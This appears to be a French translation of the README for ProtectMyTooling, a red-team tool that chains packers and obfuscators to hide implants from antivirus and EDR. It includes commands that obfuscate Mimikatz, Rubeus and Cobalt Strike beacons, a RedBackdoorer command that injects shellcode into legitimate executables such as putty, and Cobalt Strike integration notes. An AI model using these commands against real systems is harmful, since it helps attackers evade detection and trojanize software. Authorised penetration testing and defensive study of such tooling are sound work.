L'exemple ci-dessus commencera par passer `mimikatz.exe` à Hyperion pour l'obfuscation, puis le résultat sera fourni à UPX pour compression. Ce qui donne `UPX(Hyperion(file))`

## Fonctionnalités

- Prend en charge de nombreux packers PE, obfuscateurs .NET, chargeurs/constructeurs de shellcode
- Permet le chaînage de packers où la sortie d'un packer est transmise au suivant : `callobf,hyperion,upx` produira l'artefact `UPX(Hyperion(CallObf(file)))`
- Collecte les IOCs à chaque étape d'obfuscation pour satisfaire les demandes d'audit et de l'équipe bleue
- Offre la fonctionnalité d'injecter des filigranes personnalisés dans les artefacts PE résultants - dans le stub DOS, la somme de contrôle, en tant que section PE autonome, dans le surcouche du fichier
- Fournit un script agresseur Cobalt Strike pratique apportant les commandes `protected-upload` et `protected-execute-assembly`
- Utilisation simple en ligne de commande

## Installation

**Cet outil a été conçu pour fonctionner sous Windows, car la plupart des packers ciblent nativement cette plateforme.**

Certaines fonctionnalités peuvent toutefois fonctionner sous Linux, mais ce support n'est pas entièrement testé, veuillez signaler les bogues et problèmes.

1. Tout d'abord, **désactivez votre antivirus** et ajoutez le répertoire `contrib` aux exclusions. Ce répertoire contient des obfuscateurs et des protecteurs qui seront signalés par l'antivirus et supprimés.
2. Ensuite, clonez ce dépôt```
PS C:\> git clone --recurse https://github.com/Binary-Offensive/ProtectMyTooling

**Linux**```
bash# ./install.sh

## Configuration

Pour intégrer les obfuscateurs pris en charge, modifier les options par défaut ou pointer **ProtectMyTooling** vers le chemin d'exécution de votre obfuscateur, vous devrez ajuster le fichier de configuration `config\ProtectMyTooling.yaml`.

Il existe également le fichier `config\sample-full-config.yaml` contenant toutes les options disponibles pour tous les packers pris en charge, servant de point de référence.

## Rappel amical

- Si votre binaire produit plante ou ne s'exécute pas comme prévu - essayez d'utiliser une chaîne de packers différente.
- Les packers ne garantissent pas la stabilité des binaires produits, donc ProtectMyTooling non plus.
- Lors du chaînage, faites correspondre soigneusement les formats de charge utile sortie->entrée en fonction de ce que le packer consécutif attend.

---

## Utilisation

Avant la première utilisation de `ProtectMyTooling`, il est essentiel d'ajuster le fichier de configuration YAML du programme `ProtectMyTooling.yaml`.
L'ordre de traitement des paramètres est le suivant :

- D'abord, les paramètres par défaut sont utilisés
- Ensuite, ils sont écrasés par les valeurs provenant du YAML
- Enfin, tout ce qui est fourni en ligne de commande écrasera les valeurs correspondantes

Là, les chemins et options des packers pris en charge doivent être définis pour activer.

### Scénario 1 : Obfuscation simple avec ConfuserEx

L'utilisation est très simple, il suffit de passer le nom de l'obfuscateur à choisir, les chemins des fichiers d'entrée et de sortie :```
C:\> py ProtectMyTooling.py confuserex Rubeus.exe Rubeus-obf.exe

    ::::::::::.:::::::..      ...  :::::::::::.,::::::  .,-::::::::::::::::
     `;;;```.;;;;;;``;;;;  .;;;;;;;;;;;;;;;\''';;;;\'\''',;;;'````;;;;;;;;\'\'''
      `]]nnn]]' [[[,/[[[' ,[[     \[[,  [[     [[cccc [[[           [[
       $$$""    $$$$$$c   $$$,     $$$  $$     $$"""" $$$           $$
       888o     888b "88bo"888,_ _,88P  88,    888oo,_`88bo,__,o,   88,
    .  YMMMb :.-:.MM   ::-. "YMMMMMP"   MMM    """"YUMMM"YUMMMMMP"  MMM
    ;;,.    ;;;';;.   ;;;;'
    [[[[, ,[[[[, '[[,[[['
    $$$$$$$$"$$$   c$$"
    888 Y88" 888o,8P"`
    ::::::::::::mM...        ...     :::    :::::.    :::. .,-:::::/
    ;;;;;;;;\'''.;;;;;;;.  .;;;;;;;.  ;;;    ;;`;;;;,  `;;,;;-'````'
         [[   ,[[     \[[,[[     \[[,[[[    [[[ [[[[[. '[[[[   [[[[[[/
         $$   $$$,     $$$$$,     $$$$$'    $$$ $$$ "Y$c$"$$c.    "$$
         88,  "888,_ _,88"888,_ _,88o88oo,._888 888    Y88`Y8bo,,,o88o
         MMM    "YMMMMMP"  "YMMMMMP"""""YUMMMMM MMM     YM  `'YMUP"YMM

    Red Team implants protection swiss knife.

    Multi-Packer wrapping around multitude of packers, protectors, shellcode loaders, encoders.
    Mariusz Banach / mgeeky '20-'22, <[email protected]>
    v0.16

[.] Processing x86 file: "\Rubeus.exe"
[.] Generating output of ConfuserEx(<file>)...

[+] SUCCEEDED. Original file size: 417280 bytes, new file size ConfuserEx(<file>): 756224, ratio: 181.23%

[...]

### Scénario 3 : Obfuscation de malware complexe avec tatouage et collecte d'IOC

Le cas d'utilisation ci-dessous prend `beacon.exe` en entrée et l'alimente consécutivement dans les packers `CallObf` -> `UPX` -> `Hyperion`.

Ensuite, il injectera le tatouage `fooobar` spécifié dans le stub DOS de l'artefact de sortie finalement généré, et modifiera également la somme de contrôle de cet artefact avec la valeur `0xAABBCCDD`.

Enfin, ProtectMyTooling capturera tous les IOC (md5, sha1, sha256, imphash et autres métadonnées) et les sauvegardera dans un fichier CSV auxiliaire. Ce fichier peut être utilisé pour la mise en correspondance des IOC au fur et à mesure que l'engagement se déroule.```
PS> py .\ProtectMyTooling.py callobf,upx,hyperion beacon.exe beacon-obf.exe -i -I operation_chimera -w dos-stub=fooobar -w checksum=0xaabbccdd

    [...]

[.] Processing x64 file: "beacon.exe"
[>] Generating output of CallObf(<file>)...

[.] Before obfuscation file's PE IMPHASH:       17b461a082950fc6332228572138b80c
[.] After obfuscation file's PE IMPHASH:        378d9692fe91eb54206e98c224a25f43
[>] Generating output of UPX(CallObf(<file>))...

[>] Generating output of Hyperion(UPX(CallObf(<file>)))...

[+] Setting PE checksum to 2864434397 (0xaabbccdd)
[+] Successfully watermarked resulting artifact file.
[+] IOCs written to: beacon-obf-ioc.csv

[+] SUCCEEDED. Original file size: 288256 bytes, new file size Hyperion(UPX(CallObf(<file>))): 175616, ratio: 60.92%

## Packeurs Supportés

`ProtectMyTooling` a été conçu pour supporter non seulement les Obfuscateurs/Packeurs, mais aussi toutes sortes de constructeurs/générateurs/chargeurs de shellcode utilisables en ligne de commande.

Actuellement, le programme prend en charge divers packeurs/obfuscateurs commerciaux et open-source. Ceux open-source sont inclus dans le projet. Les commerciaux nécessitent que l'utilisateur achète le produit et configure son emplacement dans le fichier `ProtectMyTooling.yaml` pour indiquer au script où les trouver.

1. [`Amber`](https://github.com/EgeBalci/amber) - Packeur PE réflexif qui prend un EXE/DLL en entrée et produit un EXE/du shellcode PIC
2. [`AtomPePacker`](https://github.com/ORCx41/AtomPePacker) - Un packeur PE très performant
3. [`AsStrongAsFuck`](https://github.com/Charterino/AsStrongAsFuck) - Un obfuscateur console pour les assemblys .NET par Charterino
4. [`CallObfuscator`](https://github.com/d35ha/CallObfuscator) - Obfusque des API Windows spécifiques avec différentes API.
5. [`ConfuserEx`](https://github.com/mkaring/ConfuserEx) - Obfuscateur .NET populaire, fork de [Martin Karing](https://github.com/mkaring)
6. [`Donut`](https://github.com/TheWover/donut) - Chargeur PE populaire qui prend EXE/DLL/.NET en entrée et produit un shellcode PIC
7. [`Enigma`](https://enigmaprotector.com/) - Un système puissant conçu pour la protection complète des fichiers exécutables
8. [`Freeze`](https://github.com/optiv/Freeze) - Prend un fichier EXE/DLL en entrée et produit une sortie avec un certificat cloné, des IoCs spécifiques à Golang supprimés et une taille gonflée. Par Matt Eidelberg (@Tyl0us).
9. [`Hyperion`](https://nullsecurity.net/tools/binary.html) - Crypteur au moment de l'exécution pour exécutables 32 bits et 64 bits. C'est une implémentation de référence basée sur le document "Hyperion: Implementation of a PE-Crypter"
10. [`IntelliLock`](https://www.eziriz.com/intellilock.htm) - Combine une sécurité de licence forte, des fonctionnalités/schémas de licence hautement adaptables avec une protection fiable des assemblies
11. [`InvObf`](https://github.com/danielbohannon/Invoke-Obfuscation) - Obfusque les scripts Powershell avec `Invoke-Obfuscation` (par Daniel Bohannon)
12. [`LoGiC.NET`](https://github.com/AnErrupTion/LoGiC.NET) - Un obfuscateur .NET libre et open source plus avancé utilisant dnlib par AnErrupTion
13. [`Mangle`](https://github.com/optiv/Mangle) - Prend un fichier EXE/DLL en entrée et produit une sortie avec un certificat cloné, des IoCs spécifiques à Golang supprimés et une taille gonflée. Par Matt Eidelberg (@Tyl0us).
14. [`MPRESS`](https://www.autohotkey.com/mpress/mpress_web.htm) - Compresseur MPRESS par Vitaly Evseenko. Prend EXE/DLL/.NET/MAC-DARWIN (x86/x64) en entrée et le compresse.
15. [`NetReactor`](https://www.eziriz.com/dotnet_reactor.htm) - Système de protection de code .NET inégalé qui empêche complètement quiconque de décompiler votre code
16. [`NetShrink`](https://www.pelock.com/pl/produkty/netshrink) - Un compresseur d'exécutables, un protecteur de mot de passe d'application et un lieur de DLL virtuelle pour les applications .NET Windows et Linux.
17. [`Nimcrypt2`](https://github.com/icyguider/Nimcrypt2) - Génère un chargeur Nim qui exécute du .NET, PE ou Raw Shellcode en entrée. Par [(@icyguider)](https://twitter.com/icyguider)
18. [`NimPackt-v1`](https://github.com/chvancooten/NimPackt-v1) - Prend du Shellcode ou un Exécutable .NET en entrée, produit un chargeur EXE ou DLL. Présenté par Cas van Cooten [(@chvancooten)](https://twitter.com/chvancooten)
19. [`NimSyscallPacker`](https://github.com/S3cur3Th1sSh1t-Sponsors/NimSyscallPacker) - Prend un exécutable PE/Shellcode/.NET et génère un chargeur EXE/DLL Nim+Syscalls robuste. Sponsorware par [(@S3cur3Th1sSh1t)](https://twitter.com/ShitSecure)
20. [`Packer64`](https://github.com/jadams/Packer64) - Wrapper autour du `Packer64` de John Adams
21. [`pe2shc`](https://github.com/hasherezade/pe_to_shellcode) - Convertit un PE en shellcode. Par votre serviteur [@hasherezade](https://twitter.com/hasherezade)
22. [`peCloak`](https://github.com/v-p-b/peCloakCapstone/blob/master/peCloak.py) - Un encodeur multi-passe et outil de contournement heuristique de bac à sable pour l'évasion AV
23. [`peresed`](https://github.com/avast/pe_tools) - Utilise _"peresed"_ de **avast/pe_tools** pour supprimer toutes les ressources PE existantes et la signature _(pensez à l'icône Mimikatz)._
24. [`peunion`](https://bytecode77.com/pe-union) - Crypte les exécutables (x86 ou .NET x86/x64), qui sont décryptés à l'exécution et exécutés en mémoire
25. [`ScareCrow`](https://github.com/optiv/ScareCrow) - Chargeur de shellcode x64 furtif EDR qui produit un chargeur DLL/CPL/XLL/JScript/HTA
26. [`sgn`](https://github.com/EgeBalci/sgn) - L'encodeur Shikata ga nai (仕方がない) porté en Go avec plusieurs améliorations. Prend du shellcode, produit du shellcode encodé
27. [`SmartAssembly`](https://www.red-gate.com/products/dotnet-development/smartassembly/) - Obfuscateur qui aide à protéger votre application contre le reverse-engineering ou la modification, en rendant difficile pour un tiers l'accès à votre code source
28. [`sRDI`](https://github.com/monoxgas/sRDI) - Convertit les DLL en shellcode indépendant de la position. Par : [Nick Landers, @monoxgas](https://twitter.com/monoxgas)
29. [`Themida`](https://www.oreans.com/Themida.php) - Système avancé de protection des logiciels Windows
30. [`UPX`](https://upx.github.io/) - Un packeur d'exécutables gratuit, portable, extensible et haute performance pour plusieurs formats d'exécutables.
31. [`VMProtect`](https://vmpsoft.com/) - Protège le code en l'exécutant sur une machine virtuelle à architecture non standard, ce qui rend l'analyse et le cracking du logiciel extrêmement difficiles

Vous pouvez rapidement lister les packeurs supportés en utilisant l'option `-L` (les colonnes du tableau sont choisies en fonction de la largeur du terminal ; plus il est large, plus d'informations sont révélées) :```
C:\> py ProtectMyTooling.py -L
    [...]

    Red Team implants protection swiss knife.

    Multi-Packer wrapping around multitude of packers, protectors, shellcode loaders, encoders.
    Mariusz Banach / mgeeky '20-'22, <[email protected]>
    v0.16

+----+----------------+-------------+-----------------------+-----------------------------+------------------------+--------------------------------------------------------+
| #  |      Name      |     Type    |       Licensing       |            Input            |         Output         |                         Author                         |
+----+----------------+-------------+-----------------------+-----------------------------+------------------------+--------------------------------------------------------+
| 1  |     amber      | open-source |    Shellcode Loader   |              PE             |     EXE, Shellcode     |                       Ege Balci                        |
| 2  | asstrongasfuck | open-source |    .NET Obfuscator    |             .NET            |          .NET          |                 Charterino, klezVirus                  |
| 3  |  atompepacker  | open-source |  PE EXE/DLL Protector |              PE             |        EXE, DLL        |            ORCA (@ORCx41, [email protected])            |
| 4  |    backdoor    | open-source |    Shellcode Loader   |          Shellcode          |           PE           |              Mariusz Banach, @mariuszbit               |
| 5  |    callobf     | open-source |  PE EXE/DLL Protector |              PE             |           PE           |                Mustafa Mahmoud, @d35ha                 |
| 6  |   confuserex   | open-source |    .NET Obfuscator    |             .NET            |          .NET          |                        mkaring                         |
| 7  |  donut-packer  | open-source |  Shellcode Converter  | PE, .NET, VBScript, JScript |       Shellcode        |                        TheWover                        |
| 8  |     enigma     |  commercial |  PE EXE/DLL Protector |              PE             |           PE           |          The Enigma Protector Developers Team          |
| 9  |     freeze     | open-source |    Shellcode Loader   |          Shellcode          |           PE           |                Matt Eidelberg (@Tyl0us)                |
| 10 |    hyperion    | open-source |  PE EXE/DLL Protector |              PE             |           PE           |                   nullsecurity team                    |
| 11 |  intellilock   |  commercial |    .NET Obfuscator    |              PE             |           PE           |                         Eziriz                         |
| 12 |     invobf     | open-source | Powershell Obfuscator |          Powershell         |       Powershell       |                    Daniel Bohannon                     |
| 13 |    logicnet    | open-source |    .NET Obfuscator    |             .NET            |          .NET          |                 AnErrupTion, klezVirus                 |
| 14 |     mangle     | open-source |   Executable Signing  |              PE             |           PE           |                Matt Eidelberg (@Tyl0us)                |
| 15 |     mpress     |   freeware  | PE EXE/DLL Compressor |              PE             |           PE           |                    Vitaly Evseenko                     |
| 16 |   netreactor   |  commercial |    .NET Obfuscator    |             .NET            |          .NET          |                         Eziriz                         |
| 17 |   netshrink    | open-source |    .NET Obfuscator    |             .NET            |          .NET          |                     Bartosz Wójcik                     |
| 18 |   nimcrypt2    | open-source |    Shellcode Loader   |     PE, .NET, Shellcode     |           PE           |                       @icyguider                       |
| 19 |    nimpackt    | open-source |    Shellcode Loader   |       .NET, Shellcode       |           PE           |             Cas van Cooten (@chvancooten)              |
| 20 |   nimsyscall   | sponsorware |    Shellcode Loader   |     PE, .NET, Shellcode     |           PE           |                    @S3cur3Th1sSh1t                     |
| 21 |    packer64    | open-source | PE EXE/DLL Compressor |              PE             |           PE           |                  John Adams, @jadams                   |
| 22 |     pe2shc     | open-source |  Shellcode Converter  |              PE             |       Shellcode        |                      @hasherezade                      |
| 23 |    pecloak     | open-source |  PE EXE/DLL Protector |              PE             |           PE           |     Mike Czumak, @SecuritySift, buherator / v-p-b      |
| 24 |    peresed     | open-source |  PE EXE/DLL Protector |              PE             |           PE           |                  Martin Vejnár, Avast                  |
| 25 |    peunion     |   freeware  | PE EXE/DLL Compressor |           PE, .NET          |           PE           |  Martin Fischer / bytecode77 <[email protected]>   |
| 26 |   scarecrow    | open-source |    Shellcode Loader   |          Shellcode          | DLL, JScript, CPL, XLL |                Matt Eidelberg (@Tyl0us)                |
| 27 |      sgn       | open-source |   Shellcode Encoder   |          Shellcode          |       Shellcode        |                       Ege Balci                        |
| 28 | smartassembly  |  commercial |    .NET Obfuscator    |             .NET            |          .NET          |                        Red-Gate                        |
| 29 |      srdi      | open-source |   Shellcode Encoder   |             DLL             |       Shellcode        |                Nick Landers, @monoxgas                 |
| 30 |    themida     |  commercial |  PE EXE/DLL Protector |              PE             |           PE           |                         Oreans                         |
| 31 |      upx       | open-source | PE EXE/DLL Compressor |              PE             |           PE           | Markus F.X.J. Oberhumer, László Molnár, John F. Reiser |
| 32 |   vmprotect    |  commercial |  PE EXE/DLL Protector |              PE             |           PE           |                        vmpsoft                         |
+----+----------------+-------------+-----------------------+-----------------------------+------------------------+--------------------------------------------------------+

Il existe également une approche autonome, incluse dans le script `RedWatermarker.py`.

Il prend un artefact exécutable en entrée et accepte quelques paramètres indiquant où injecter un filigrane et quelle valeur doit être insérée.

Un exemple d'exécution définira la somme de contrôle PE à 0xAABBCCDD, insérera `foooobar` dans le stub DOS du fichier PE (octets contenant _This program cannot be run..._), ajoutera `bazbazbaz` à la surcouche du fichier, puis créera une nouvelle section PE nommée `.coco`, l'ajoutera à la fin du fichier et remplira cette section avec un marqueur prédéfini.```
py RedWatermarker.py beacon-obf.exe -c 0xaabbccdd -t fooooobar -e bazbazbaz -s .coco,ALLYOURBASEAREBELONG

                  ;
                  ED.
                 ,E#Wi

Watermark thy implants, track them in VirusTotal
Mariusz Banach / mgeeky '22, (@mariuszbit)
<[email protected]>

Actuellement, seul le tatouage de fichiers PE est pris en charge, mais à l'avenir, les documents Office et d'autres formats devraient également être ajoutés.

### Collecte des IOCs

Les IOCs peuvent être collectés en utilisant simplement l'option `-i` lors de l'exécution de `ProtectMyTooling`.

Ils sont collectés lors des phases suivantes :

- sur le fichier d'entrée
- après chaque cycle d'obfuscation sur un fichier intermédiaire
- sur le fichier de sortie final

Ils contiendront les champs suivants sauvegardés sous forme de fichier CSV :

- `timestamp`
- `filename`
- `author` - formé comme `username@hostname`
- `context` - indique si un enregistrement pointe vers un fichier d'entrée, de sortie ou intermédiaire
- `comment` - valeur ajustée par l'utilisateur via l'option `-I value`
- `md5`
- `sha1`
- `sha256`
- `imphash` - Hash des imports PE, si disponible
- (TODO) `typeref_hash` - Hash TypeRef .NET, si disponible

Le résultat sera un fichier CSV nommé `outfile-ioc.csv` stocké à côté de l'artefact de sortie généré. Ce fichier est écrit en mode APPEND, ce qui signifie qu'il recevra tous les IOCs suivants.

# RedBackdoorer - Backdooring PE intégré

`ProtectMyTooling` utilise mon propre script `RedBackdoorer.py` qui fournit quelques méthodes pour backdoorer des exécutables PE. Le support se présente sous la forme d'un packer dédié nommé `backdoor`. Exemple d'utilisation :

**Prend un shellcode Cobalt Strike en entrée et l'encode avec SGN (Shikata Ga-Nai), puis backdoor SysInternals DbgView64.exe et produit un chargeur réflexif Amber EXE**```
PS> py ProtectMyTooling.py sgn,backdoor,amber beacon64.bin dbgview64-infected.exe -B dbgview64.exe

    ::::::::::.:::::::..      ...  :::::::::::.,::::::  .,-::::::::::::::::
     `;;;```.;;;;;;``;;;;  .;;;;;;;;;;;;;;;;;;;,;;;'````;;;;;;;;
      `]]nnn]]' [[[,/[[[' ,[[     \[[,  [[     [[cccc [[[           [[
       $$$""    $$$$$$c   $$$,     $$$  $$     $$"""" $$$           $$
       888o     888b "88bo"888,_ _,88P  88,    888oo,_`88bo,__,o,   88,
    .  YMMMb :.-:.MM   ::-. "YMMMMMP"   MMM    """"YUMMM"YUMMMMMP"  MMM
    ;;,.    ;;;';;.   ;;;;'
    [[[[, ,[[[[, '[[,[[['
    $$$$$$$$"$$$   c$$"
    888 Y88" 888o,8P"`
    ::::::::::::mM...        ...     :::    :::::.    :::. .,-:::::/
    ;;;;;;;;.;;;;;;;.  .;;;;;;;.  ;;;    ;;`;;;;,  `;;,;;-'````'
         [[   ,[[     \[[,[[     \[[,[[[    [[[ [[[[[. '[[[[   [[[[[[/
         $$   $$$,     $$$$$,     $$$$$'    $$$ $$$ "Y$c$"$$c.    "$$
         88,  "888,_ _,88"888,_ _,88o88oo,._888 888    Y88`Y8bo,,,o88o
         MMM    "YMMMMMP"  "YMMMMMP"""""YUMMMMM MMM     YM  `'YMUP"YMM

    Red Team implants protection swiss knife.

    Multi-Packer wrapping around multitude of packers, protectors, shellcode loaders, encoders.
    Mariusz Banach / mgeeky '20-'22, <[email protected]>
    v0.16

[.] Processing x64 file :  beacon64.bin
[>] Generating output of sgn(<file>)...
[>] Generating output of backdoor(sgn(<file>))...
[>] Generating output of Amber(backdoor(sgn(<file>)))...

[+] SUCCEEDED. Original file size: 265959 bytes, new file size Amber(backdoor(sgn(<file>))): 1372672, ratio: 516.12%

 ██▀███ ▓█████▓█████▄
▓██ ▒ ██▓█   ▀▒██▀ ██▌
▓██ ░▄█ ▒███  ░██   █▌
▒██▀▀█▄ ▒▓█  ▄░▓█▄   ▌
░██▓ ▒██░▒████░▒████▓
░ ▒▓ ░▒▓░░ ▒░ ░▒▒▓  ▒
  ░▒ ░ ▒░░ ░  ░░ ▒  ▒
  ░░   ░   ░   ░ ░  ░
 ▄▄▄▄   ▄▄▄░  ░  ▄████▄  ██ ▄█▓█████▄ ▒█████  ▒█████  ██▀███ ▓█████ ██▀███
▓█████▄▒████▄  ░▒██▀ ▀█  ██▄█▒▒██▀ ██▒██▒  ██▒██▒  ██▓██ ▒ ██▓█   ▀▓██ ▒ ██▒
▒██▒ ▄█▒██  ▀█▄ ▒▓█    ▄▓███▄░░██   █▒██░  ██▒██░  ██▓██ ░▄█ ▒███  ▓██ ░▄█ ▒
▒██░█▀ ░██▄▄▄▄██▒▓▓▄ ▄██▓██ █▄░▓█▄   ▒██   ██▒██   ██▒██▀▀█▄ ▒▓█  ▄▒██▀▀█▄
░▓█  ▀█▓▓█   ▓██▒ ▓███▀ ▒██▒ █░▒████▓░ ████▓▒░ ████▓▒░██▓ ▒██░▒████░██▓ ▒██▒
░▒▓███▀▒▒▒   ▓▒█░ ░▒ ▒  ▒ ▒▒ ▓▒▒▒▓  ▒░ ▒░▒░▒░░ ▒░▒░▒░░ ▒▓ ░▒▓░░ ▒░ ░ ▒▓ ░▒▓░
▒░▒   ░  ▒   ▒▒ ░ ░  ▒  ░ ░▒ ▒░░ ▒  ▒  ░ ▒ ▒░  ░ ▒ ▒░  ░▒ ░ ▒░░ ░  ░ ░▒ ░ ▒░
 ░    ░  ░   ▒  ░       ░ ░░ ░ ░ ░  ░░ ░ ░ ▒ ░ ░ ░ ▒   ░░   ░   ░    ░░   ░
 ░           ░  ░ ░     ░  ░     ░       ░ ░     ░ ░    ░       ░  ░  ░
      ░         ░              ░


Your finest PE backdooring companion.
Mariusz Banach / mgeeky '22, (@mariuszbit)
<[email protected]>

save,run
  |   |
  |   +---------- 1 - change AddressOfEntryPoint
  |               2 - hijack branching instruction at Original Entry Point (jmp, call, ...)
  |               3 - setup TLS callback
  |
  +-------------- 1 - store shellcode in the middle of a code section
                  2 - append shellcode to the PE file in a new PE section

py RedBackdoorer.py 1,2 beacon.bin putty.exe putty-infected.exe

# Intégration de Cobalt Strike

Il existe également un script qui intègre `ProtectMyTooling.py` utilisé comme wrapper autour des packers/protecteurs PE/.NET configurés pour transformer facilement les exécutables d'entrée en leurs formes protégées et compressées, puis les télécharger ou les utiliser depuis CobaltStrike.

L'idée est d'avoir un processus automatisé de protection de tous les binaires téléchargés ou des assemblies .NET utilisés par execute-assembly et d'oublier de les protéger ou de les obscurcir manuellement avant chaque utilisation. L'avantage supplémentaire d'une approche automatisée pour transformer les exécutables est la possibilité d'avoir le même exécutable protégé à chaque utilisation, ce qui donne des échantillons uniques lancés sur les machines cibles. Cela devrait tromper agréablement les balayages IOC à l'échelle de l'entreprise des EDR/AV tout en recherchant le même artefact sur différentes machines.

De plus, la commande protected-execute-assembly a la capacité de rechercher des assemblies dont seul le nom a été donné dans un répertoire d'assemblies préconfiguré (défini dans le paramètre dotnet_assemblies_directory).

Pour l'utiliser :

1. Chargez `CobaltStrike/ProtectMyTooling.cna` dans votre Cobalt Strike.
2. Allez dans le menu et configurez toutes les options

![options](https://assets.kitploit.com/production/public/readmes/5634/45a8a4f1c128ccf0c0712410e5972c0197b5089b228eaaed38b5a23fa46ca5fd.png)

3. Ensuite, dans la console de votre Beacon, vous aurez les commandes suivantes disponibles :

  * `protected-execute-assembly` - Exécute un programme .NET local, précédemment protégé et compressé, en mémoire sur la cible.
  * `protected-upload` - Prend un fichier d'entrée, le protège s'il s'agit d'un exécutable PE, puis télécharge ce fichier vers l'emplacement distant spécifié.
  * `bofnet_load_protected` - Prend un fichier d'assembly .NET en entrée, le fait passer par la chaîne de packers .NET configurée, charge la sortie générée avec `bofnet_load`. [BOFNET](https://github.com/CCob/BOF.NET/) doit être chargé séparément pour que cela fonctionne.

Essentiellement, ces commandes ouvrent les fichiers d'entrée, les passent d'abord au script `CobaltStrike/cobaltProtectMyTooling.py`, qui à son tour appelle `ProtectMyTooling.py`. Dès que le binaire est obscurci, il est transmis à votre beacon pour exécution/téléchargement.

## Options liées à Cobalt Strike

Voici une liste des options requises par l'intégrateur Cobalt Strike :

* `python3_interpreter_path` - Spécifiez un chemin vers l'exécutable de l'interpréteur Python3
* `protect_my_tooling_dir` - Spécifiez un chemin vers le répertoire principal de ProtectMyTooling
* `protect_my_tooling_config` - Spécifiez un chemin vers le fichier de configuration de ProtectMyTooling avec diverses options de packers
* `dotnet_assemblies_directory` - Spécifiez un chemin local où les assemblies .NET doivent être recherchés s'ils ne sont pas trouvés par execute-assembly
* `cache_protected_executables` - Activez la mise en cache des exécutables déjà protégés et leur réutilisation si nécessaire
* `protected_executables_cache_dir` - Spécifiez un chemin vers un répertoire qui doit stocker les exécutables protégés mis en cache
* `default_exe_x86_packers_chain` - Chaîne de protecteurs/packers pour exécutables EXE natifs x86
* `default_exe_x64_packers_chain` - Chaîne de protecteurs/packers pour exécutables EXE natifs x64
* `default_dll_x86_packers_chain` - Chaîne de protecteurs/packers pour exécutables DLL natifs x86
* `default_dll_x64_packers_chain` - Chaîne de protecteurs/packers pour exécutables DLL natifs x64
* `default_dotnet_packers_chain` - Chaîne de protecteurs/packers pour exécutables .NET

---

## Problèmes connus

- `ScareCrow` est très délicat à exécuter depuis Windows. Ce qui a fonctionné pour moi est le suivant :
  1. Exécutez sur Windows 10 et installez WSL (commande `bash.exe` disponible dans Windows)
  2. Avoir `golang` installé dans WSL en version `1.16+` (testé sur `1.18`)
  3. Assurez-vous d'avoir défini `PackerScareCrow.Run_ScareCrow_On_Windows_As_WSL = True`

---

## Crédits et technologies utilisées

- Tous les crédits pour les packers, obfuscateurs, convertisseurs, chargeurs vont à leurs auteurs. Cet outil n'est qu'un wrapper autour de leur technologie !
  - J'espère qu'aucun d'eux ne me reproche d'ajouter de tels wrappers. En cas de préoccupations, veuillez me contacter.
  
- _ProtectMyTooling_ utilise également [`denim.exe`](https://github.com/moloch--/denim) par **moloch--** pour certains packers basés sur Nim.

---

## À faire

- Écrire un injecteur PE personnalisé et le proposer comme « protecteur »
- Ajouter le tatouage à d'autres formats de fichiers tels que les documents Office, les scripts WSH (VBS, JS, HTA) et les conteneurs
- Ajouter la prise en charge de quelques autres packers/chargeurs/générateurs dans un futur proche :
  - [`GadgetToJScript`](https://github.com/med0x2e/GadgetToJScript)
  - [`Limelighter`](https://github.com/Tylous/Limelighter)
  - [`PEZor`](https://github.com/phra/PEzor)
  - [`msfevenom`](https://github.com/rapid7/metasploit-framework) - deux variantes, une pour le shellcode d'entrée, l'autre pour l'exécutable

---

## Avertissement

L'utilisation de cet outil ainsi que de tout autre projet dont je suis l'auteur à des fins illégales, de piratage non sollicité, de cyber-espionnage est strictement interdite.
Cet outil et les autres outils que je distribue aident les testeurs d'intrusion professionnels, les consultants en sécurité, les ingénieurs en sécurité et autres personnels de sécurité à améliorer les capacités de cyberdéfense des réseaux de leurs clients.
En aucun cas les auteurs ou les détenteurs des droits d'auteur ne pourront être tenus responsables de toute réclamation, dommage ou autre responsabilité découlant d'une utilisation illégale de ce logiciel.

En cas de préoccupations, de problèmes de droits d'auteur, de menaces posées par ce logiciel ou d'autres demandes, je suis ouvert à la collaboration pour les traiter de manière responsable.

L'outil expose une interface pratique pour utiliser des logiciels de packers/protecteurs/obfuscation principalement open-source ou commerciaux, n'introduisant donc aucune menace immédiatement nouvelle dans le paysage de la cybersécurité tel qu'il est.

---

### ☕ Soutenez le projet ☕

Ce projet et d'autres sont le résultat de nuits blanches et de **beaucoup de travail acharné**. Si vous aimez ce que je fais et que vous appréciez le fait que je donne toujours en retour à la communauté,
[Envisagez de m'offrir un café](https://github.com/sponsors/mgeeky) _(ou plutôt une bière)_ juste pour dire merci ! 💪 

---

## Auteur```   
   Mariusz Banach / mgeeky, '20-'22
   <mb [at] binary-offensive.com>
   (https://github.com/mgeeky)